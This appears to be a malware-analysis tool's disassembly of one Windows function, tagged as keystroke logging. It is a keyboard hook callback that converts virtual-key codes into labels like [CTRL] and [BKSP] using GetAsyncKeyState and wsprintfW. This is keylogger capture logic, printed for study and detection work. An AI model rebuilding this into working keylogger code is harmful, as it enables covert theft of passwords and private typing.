Function at 0x40813a
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov eax, edx
mov ebx, ecx
push esi
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push edi
mov edi, dword [ebp + 8]
sub eax, 0x100
je 0x408160
sub eax, 4
jne case.default.0x40818d
mov esi, dword [edi]
cmp esi, 0x27
jb 0x408213
cmp esi, 0x40
ja 0x408218
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x4081f8
add esi, 0xffffffd0
cmp esi, 9
ja case.default.0x40818d
jmp dword [esi*4 + 0x408586]
mov ecx, str.______
jmp 0x40856b
mov ecx, 0x417a88
jmp 0x40856b
mov ecx, 0x417a8c
jmp 0x40856b
mov ecx, 0x417a90
jmp 0x40856b
mov ecx, 0x417a94
jmp 0x40856b
mov ecx, 0x417a98
jmp 0x40856b
mov ecx, 0x417a9c
jmp 0x40856b
mov ecx, 0x417aa0
jmp 0x40856b
mov ecx, 0x4179e8
jmp 0x40856b
mov ecx, 0x417aa4
jmp 0x40856b
push esi
lea eax, [ebp - 0x14]
push 0x417aa8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
jmp 0x40856b
cmp esi, 0x40
jbe 0x408264
cmp esi, 0x5b
jae 0x408264
call fcn.004085c0
push 0x10
mov bl, al
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
mov dl, bl
setne cl
call fcn.004085ae
test al, al
lea ecx, [esi + 0x20]
lea eax, [ebp - 0x14]
cmovne ecx, esi
push ecx
push 0x417aa8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.004085cb
mov ebx, dword [ebp - 4]
jmp case.default.0x40818d
cmp esi, 0x66
ja 0x408382
je 0x408378
cmp esi, 0x20
ja 0x4082f6
je 0x4082ec
cmp esi, 0x11
ja 0x4082c0
je 0x4083e6
sub esi, 8
je 0x4082b6
sub esi, 1
je 0x4082ac
sub esi, 4
je 0x4082a2
sub esi, 3
je case.default.0x40818d
jmp 0x408507
mov ecx, 0x417ab4
jmp 0x40856b
mov ecx, str._TAB_
jmp 0x40856b
mov ecx, str._BKSP_
jmp 0x40856b
sub esi, 0x12
je 0x40843d
dec esi
sub esi, 1
je 0x4082e2
sub esi, 7
jne 0x408507
mov ecx, str._ESC_
jmp 0x40856b
mov ecx, str._CAPS_
jmp 0x40856b
mov ecx, 0x417ab0
jmp 0x40856b
cmp esi, 0x62
ja 0x408347
je 0x40833d
sub esi, 0x2d
je 0x408333
sub esi, 1
je 0x408329
sub esi, 0x32
je 0x40831f
sub esi, 1
jne 0x408507
mov ecx, 0x417b40
jmp 0x40856b
mov ecx, str.0123456789_________.:___
jmp 0x40856b
mov ecx, str._DEL_
jmp 0x40856b
mov ecx, str._INSERT_
jmp 0x40856b
mov ecx, 0x417b44
jmp 0x40856b
sub esi, 0x63
je 0x40836e
sub esi, 1
je 0x408364
sub esi, 1
jne 0x408507
mov ecx, 0x417b50
jmp 0x40856b
mov ecx, 0x417b4c
jmp 0x40856b
mov ecx, 0x417b48
jmp 0x40856b
mov ecx, 0x417b54
jmp 0x40856b
mov eax, 0xbc
cmp esi, eax
ja 0x40845b
je 0x408447
cmp esi, 0xa3
ja 0x4083f0
cmp esi, 0xa2
jae 0x4083e6
cmp esi, 0x67
je 0x4083dc
cmp esi, 0x68
je 0x4083d2
cmp esi, 0x69
je 0x4083c8
lea eax, [esi - 0xa0]
cmp eax, 1
ja 0x408507
jmp case.default.0x40818d
mov ecx, 0x417b60
jmp 0x40856b
mov ecx, 0x417b5c
jmp 0x40856b
mov ecx, 0x417b58
jmp 0x40856b
mov ecx, str._CTRL_
jmp 0x40856b
cmp esi, 0xa5
jbe 0x40843d
cmp esi, 0xba
je 0x408429
cmp esi, 0xbb
jne 0x408507
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417ba8
mov edx, 0x417bac
test ax, ax
cmove ecx, edx
jmp 0x40856b
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417b98
mov edx, 0x417b9c
jmp 0x40841e
mov ecx, str._ALT_
jmp 0x40856b
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417b88
mov edx, 0x417b8c
jmp 0x40841e
mov eax, 0xdb
cmp esi, eax
ja 0x4084f5
je 0x4084de
sub esi, 0xbd
je 0x4084c7
sub esi, 1
je 0x4084b0
sub esi, 1
je 0x408499
sub esi, 1
jne 0x408507
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417b6c
mov edx, 0x417b70
jmp 0x40841e
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417b64
mov edx, 0x417b68
jmp 0x40841e
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417b90
mov edx, 0x417b94
jmp 0x40841e
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417ba0
mov edx, 0x417ba4
jmp 0x40841e
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417a68
mov edx, 0x417b74
jmp 0x40841e
sub esi, 0xdc
je 0x408554
sub esi, 1
je 0x40853d
sub esi, 1
je 0x408526
push 0xf
lea eax, [ebp - 0x34]
push eax
mov eax, dword [edi + 8]
shl eax, 8
add eax, dword [edi + 4]
shl eax, 0x10
inc eax
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea ecx, [ebp - 0x34]
jmp 0x40856b
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417b80
mov edx, 0x417b84
jmp 0x40841e
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417a6c
mov edx, 0x417b7c
jmp 0x40841e
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x417b78
test ax, ax
jne 0x40856b
mov ecx, 0x4176a4
call fcn.004085cb
push edi
push dword [ebp - 8]
push ebx
push 0
call dword [sym.imp.USER32.dll_CallNextHookEx]
pop edi
pop esi
pop ebx
leave
ret 4